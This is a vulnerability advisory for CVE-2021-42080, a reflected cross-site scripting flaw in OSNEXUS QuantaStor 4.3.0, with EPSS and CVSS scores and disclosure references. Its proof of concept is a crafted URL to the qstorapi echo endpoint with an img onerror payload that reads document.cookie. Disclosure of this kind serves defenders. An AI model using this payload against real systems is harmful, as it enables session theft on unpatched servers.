Vulnerability Details CVE-2021-42080
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Exploit prediction scoring system (EPSS) score
EPSS Score 0.001
EPSS Ranking 35.0%
CVSS Severity
CVSS v3 Score 7.4
References
- https://csirt.divd.nl/CVE-2021-42080
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42080
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
Products affected by CVE-2021-42080
-
cpe:2.3:a:osnexus:quantastor:4.3.0